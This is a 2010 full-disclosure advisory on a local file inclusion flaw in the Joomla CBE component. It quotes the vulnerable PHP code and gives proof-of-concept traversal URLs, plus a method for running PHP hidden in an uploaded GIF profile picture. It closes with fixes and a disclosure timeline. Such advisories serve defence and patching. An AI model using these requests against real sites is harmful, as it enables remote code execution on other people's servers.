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LFI / RCE vlunerability in Joomla Community Builder Enhenced (CBE) Component
From: Delf Tonder <delf.tonder () gmx de>
Date: Fri, 08 Oct 2010 13:31:47 +0200

  Hello full-disclosure!

Description:
Joomla CBE suffers from a local file inclusion vulnerability. As CBE 
also offers file uploading functionality that allows to upload files 
that contain php-code, this can be used to execute arbitary 
system-commands on the host with the webservers privileges.

Risk:
High

Affected versions:
- CBE v1.4.10
- CBE v1.4.9
- CBE v1.4.8
(maybe older versions)

Not affaceted:
- CBE v1.4.11 (current)

Vulnerable code:
in cbe.php a file identified by the param "tabname" is included if the 
"ajaxdirekt" param is set, without sanatizing the value of "tabname" first:
-- 
$ajaxdirekt    = JRequest::getVar('ajaxdirekt', null);
     $tabname = JRequest::getVar('tabname', null);

     if ($ajaxdirekt) {
         $tabfile = 
JPATH_SITE.DS.'components'.DS.'com_cbe'.DS.'enhanced'.DS.$tabname.DS.$tabname.".php";
         if (file_exists($tabfile)) {
             include_once($tabfile);
         }
         return;
     }
-- 

Exploitation / poc:
index.php?option=com_cbe&task=userProfile&user=23&ajaxdirekt=true&tabname=../../../CREDITS.php%00 

will execute the CREDITS.php

Addional attack-vectors:
CBE offers a file-upload function for uploading user profile images. The 
uploaded file is not checked for beeing well-formed, it only needs to 
have the right mime-type and maybe (depends on profile-picture 
configuration) the right size, so we can embed php-code in the 
profile-picture. Lets say we have registered an account on the site with 
the user-id 23, then we can execute the backdoor by requesting:

index.php?option=com_cbe&task=userProfile&user=23&ajaxdirekt=true&tabname=../../../images/cbe/23.gif%00 


As we stay in the documents-root, we dont even have to worry about 
safe-mode directory restrictions, and using GIFs will bypass most of 
CBE's image pre-processing functions during file upload (except file- 
and image-size checks).

Solutions:
a) check if the contents of an uploaded file contains a php open-tag 
('<?php') (requires that the php-short-open-tag option is disabled)
b) Joomla offers several functions for accessing POST and GET params, i 
guess using getWord() instead of getVar() would be a better choice in 
this case.

History:
04.10.2010 - vendor informed
07.10.2010 - vendor released fixed version
08.10.2010 - public disclosure

Cheers
Delf Tonder

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